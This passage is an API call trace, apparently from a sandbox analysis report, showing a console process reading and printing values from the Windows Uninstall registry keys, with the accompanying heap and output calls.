returned 0x50 [0149.661] _errno () returned 0x204bb0 [0149.661] GetFileType (hFile=0x50) returned 0x1 [0149.661] lstrlenW (lpString="Resume") returned 6 [0149.661] GetConsoleOutputCP () returned 0x1b5 [0149.662] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Resume", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.662] GetConsoleOutputCP () returned 0x1b5 [0149.662] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Resume", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Resume", lpUsedDefaultChar=0x0) returned 6 [0149.662] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.662] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.662] __iob_func () returned 0x7fefd702a80 [0149.662] _fileno (_File=0x7fefd702ab0) returned 1 [0149.662] _errno () returned 0x204bb0 [0149.662] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.662] _errno () returned 0x204bb0 [0149.662] GetFileType (hFile=0x50) returned 0x1 [0149.662] lstrlenW (lpString=" ") returned 4 [0149.662] GetConsoleOutputCP () returned 0x1b5 [0149.662] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.662] GetConsoleOutputCP () returned 0x1b5 [0149.662] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.662] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.662] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.662] __iob_func () returned 0x7fefd702a80 [0149.662] _fileno (_File=0x7fefd702ab0) returned 1 [0149.662] _errno () returned 0x204bb0 [0149.663] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.663] _errno () returned 0x204bb0 [0149.663] GetFileType (hFile=0x50) returned 0x1 [0149.663] lstrlenW (lpString="REG_DWORD") returned 9 [0149.663] GetConsoleOutputCP () returned 0x1b5 [0149.663] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.663] GetConsoleOutputCP () returned 0x1b5 [0149.663] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.663] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.663] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.663] __iob_func () returned 0x7fefd702a80 [0149.663] _fileno (_File=0x7fefd702ab0) returned 1 [0149.663] _errno () returned 0x204bb0 [0149.663] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.663] _errno () returned 0x204bb0 [0149.663] GetFileType (hFile=0x50) returned 0x1 [0149.663] lstrlenW (lpString=" ") returned 4 [0149.663] GetConsoleOutputCP () returned 0x1b5 [0149.663] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.663] GetConsoleOutputCP () returned 0x1b5 [0149.663] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.664] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.664] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.664] __iob_func () returned 0x7fefd702a80 [0149.664] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.664] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x3") returned 3 [0149.664] _fileno (_File=0x7fefd702ab0) returned 1 [0149.664] _errno () returned 0x204bb0 [0149.664] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.664] _errno () returned 0x204bb0 [0149.664] GetFileType (hFile=0x50) returned 0x1 [0149.664] lstrlenW (lpString="0x3") returned 3 [0149.664] GetConsoleOutputCP () returned 0x1b5 [0149.664] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x3", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.664] GetConsoleOutputCP () returned 0x1b5 [0149.664] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x3", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x3", lpUsedDefaultChar=0x0) returned 3 [0149.664] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.664] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.664] __iob_func () returned 0x7fefd702a80 [0149.664] _fileno (_File=0x7fefd702ab0) returned 1 [0149.664] _errno () returned 0x204bb0 [0149.664] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.664] _errno () returned 0x204bb0 [0149.664] GetFileType (hFile=0x50) returned 0x1 [0149.664] lstrlenW (lpString="\n") returned 1 [0149.664] GetConsoleOutputCP () returned 0x1b5 [0149.665] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.665] GetConsoleOutputCP () returned 0x1b5 [0149.665] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.665] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.665] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.665] GetProcessHeap () returned 0x3c0000 [0149.665] GetProcessHeap () returned 0x3c0000 [0149.665] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.665] GetProcessHeap () returned 0x3c0000 [0149.665] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.665] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.665] RegEnumValueW (in: hKey=0x5c, dwIndex=0x13, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Installed", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.665] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Installed", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.665] GetProcessHeap () returned 0x3c0000 [0149.665] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.665] GetProcessHeap () returned 0x3c0000 [0149.665] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.665] GetProcessHeap () returned 0x3c0000 [0149.665] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.665] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Installed", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0149.665] __iob_func () returned 0x7fefd702a80 [0149.665] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.665] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.665] _fileno (_File=0x7fefd702ab0) returned 1 [0149.665] _errno () returned 0x204bb0 [0149.665] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.665] _errno () returned 0x204bb0 [0149.666] GetFileType (hFile=0x50) returned 0x1 [0149.666] lstrlenW (lpString=" ") returned 4 [0149.666] GetConsoleOutputCP () returned 0x1b5 [0149.666] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.666] GetConsoleOutputCP () returned 0x1b5 [0149.666] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.666] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.666] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.666] lstrlenW (lpString="Installed") returned 9 [0149.666] __iob_func () returned 0x7fefd702a80 [0149.666] _fileno (_File=0x7fefd702ab0) returned 1 [0149.666] _errno () returned 0x204bb0 [0149.666] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.666] _errno () returned 0x204bb0 [0149.666] GetFileType (hFile=0x50) returned 0x1 [0149.666] lstrlenW (lpString="Installed") returned 9 [0149.666] GetConsoleOutputCP () returned 0x1b5 [0149.666] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Installed", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.666] GetConsoleOutputCP () returned 0x1b5 [0149.666] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Installed", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Installed", lpUsedDefaultChar=0x0) returned 9 [0149.667] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.667] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.667] __iob_func () returned 0x7fefd702a80 [0149.667] _fileno (_File=0x7fefd702ab0) returned 1 [0149.667] _errno () returned 0x204bb0 [0149.667] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.667] _errno () returned 0x204bb0 [0149.667] GetFileType (hFile=0x50) returned 0x1 [0149.667] lstrlenW (lpString=" ") returned 4 [0149.667] GetConsoleOutputCP () returned 0x1b5 [0149.667] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.667] GetConsoleOutputCP () returned 0x1b5 [0149.667] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.667] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.667] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.667] __iob_func () returned 0x7fefd702a80 [0149.667] _fileno (_File=0x7fefd702ab0) returned 1 [0149.667] _errno () returned 0x204bb0 [0149.667] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.667] _errno () returned 0x204bb0 [0149.667] GetFileType (hFile=0x50) returned 0x1 [0149.667] lstrlenW (lpString="REG_DWORD") returned 9 [0149.667] GetConsoleOutputCP () returned 0x1b5 [0149.668] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.668] GetConsoleOutputCP () returned 0x1b5 [0149.668] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.668] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.668] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.668] __iob_func () returned 0x7fefd702a80 [0149.668] _fileno (_File=0x7fefd702ab0) returned 1 [0149.668] _errno () returned 0x204bb0 [0149.668] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.668] _errno () returned 0x204bb0 [0149.668] GetFileType (hFile=0x50) returned 0x1 [0149.668] lstrlenW (lpString=" ") returned 4 [0149.668] GetConsoleOutputCP () returned 0x1b5 [0149.668] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.668] GetConsoleOutputCP () returned 0x1b5 [0149.668] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.668] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.668] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.668] __iob_func () returned 0x7fefd702a80 [0149.668] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.668] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0149.668] _fileno (_File=0x7fefd702ab0) returned 1 [0149.668] _errno () returned 0x204bb0 [0149.669] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.669] _errno () returned 0x204bb0 [0149.669] GetFileType (hFile=0x50) returned 0x1 [0149.669] lstrlenW (lpString="0x1") returned 3 [0149.669] GetConsoleOutputCP () returned 0x1b5 [0149.669] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.669] GetConsoleOutputCP () returned 0x1b5 [0149.669] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0149.669] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.669] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.669] __iob_func () returned 0x7fefd702a80 [0149.669] _fileno (_File=0x7fefd702ab0) returned 1 [0149.669] _errno () returned 0x204bb0 [0149.669] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.669] _errno () returned 0x204bb0 [0149.669] GetFileType (hFile=0x50) returned 0x1 [0149.669] lstrlenW (lpString="\n") returned 1 [0149.669] GetConsoleOutputCP () returned 0x1b5 [0149.669] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.669] GetConsoleOutputCP () returned 0x1b5 [0149.670] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.670] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.670] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.670] GetProcessHeap () returned 0x3c0000 [0149.670] GetProcessHeap () returned 0x3c0000 [0149.670] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.670] GetProcessHeap () returned 0x3c0000 [0149.670] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.670] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.670] __iob_func () returned 0x7fefd702a80 [0149.670] _fileno (_File=0x7fefd702ab0) returned 1 [0149.670] _errno () returned 0x204bb0 [0149.670] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.670] _errno () returned 0x204bb0 [0149.670] GetFileType (hFile=0x50) returned 0x1 [0149.670] lstrlenW (lpString="\n") returned 1 [0149.670] GetConsoleOutputCP () returned 0x1b5 [0149.670] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.670] GetConsoleOutputCP () returned 0x1b5 [0149.670] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.670] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.670] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.670] GetProcessHeap () returned 0x3c0000 [0149.670] GetProcessHeap () returned 0x3c0000 [0149.670] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0149.670] GetProcessHeap () returned 0x3c0000 [0149.670] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x2a [0149.671] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0 | out: hHeap=0x3c0000) returned 1 [0149.671] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.671] GetProcessHeap () returned 0x3c0000 [0149.671] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.671] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned 121 [0149.671] GetProcessHeap () returned 0x3c0000 [0149.671] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xf6) returned 0x3e1c70 [0149.671] GetProcessHeap () returned 0x3c0000 [0149.671] GetProcessHeap () returned 0x3c0000 [0149.671] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.671] GetProcessHeap () returned 0x3c0000 [0149.671] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.671] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.671] GetProcessHeap () returned 0x3c0000 [0149.671] GetProcessHeap () returned 0x3c0000 [0149.671] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.671] GetProcessHeap () returned 0x3c0000 [0149.671] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xf6 [0149.671] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0149.671] RegCloseKey (hKey=0x5c) returned 0x0 [0149.671] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x1a, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{4A03706F-666A-4037-7777-5F2748764D10}", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.671] __iob_func () returned 0x7fefd702a80 [0149.671] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.671] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{4A03706F-666A-4037-7777-5F2748764D10}\n") returned 122 [0149.671] _fileno (_File=0x7fefd702ab0) returned 1 [0149.671] _errno () returned 0x204bb0 [0149.671] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.671] _errno () returned 0x204bb0 [0149.671] GetFileType (hFile=0x50) returned 0x1 [0149.671] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{4A03706F-666A-4037-7777-5F2748764D10}\n") returned 122 [0149.671] GetConsoleOutputCP () returned 0x1b5 [0149.671] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{4A03706F-666A-4037-7777-5F2748764D10}\n", cchWideChar=122, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 122 [0149.672] GetConsoleOutputCP () returned 0x1b5 [0149.672] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{4A03706F-666A-4037-7777-5F2748764D10}\n", cchWideChar=122, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{4A03706F-666A-4037-7777-5F2748764D10}\n", lpUsedDefaultChar=0x0) returned 122 [0149.672] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 122 [0149.672] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.672] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{4A03706F-666A-4037-7777-5F2748764D10}", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0149.672] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x19, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.672] GetProcessHeap () returned 0x3c0000 [0149.672] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x28) returned 0x3d5c30 [0149.672] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="AuthorizedCDFPrefix", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.672] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.672] GetProcessHeap () returned 0x3c0000 [0149.672] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.672] GetProcessHeap () returned 0x3c0000 [0149.672] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.672] GetProcessHeap () returned 0x3c0000 [0149.672] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.672] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.672] __iob_func () returned 0x7fefd702a80 [0149.672] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.672] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.672] _fileno (_File=0x7fefd702ab0) returned 1 [0149.672] _errno () returned 0x204bb0 [0149.672] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.672] _errno () returned 0x204bb0 [0149.672] GetFileType (hFile=0x50) returned 0x1 [0149.672] lstrlenW (lpString=" ") returned 4 [0149.672] 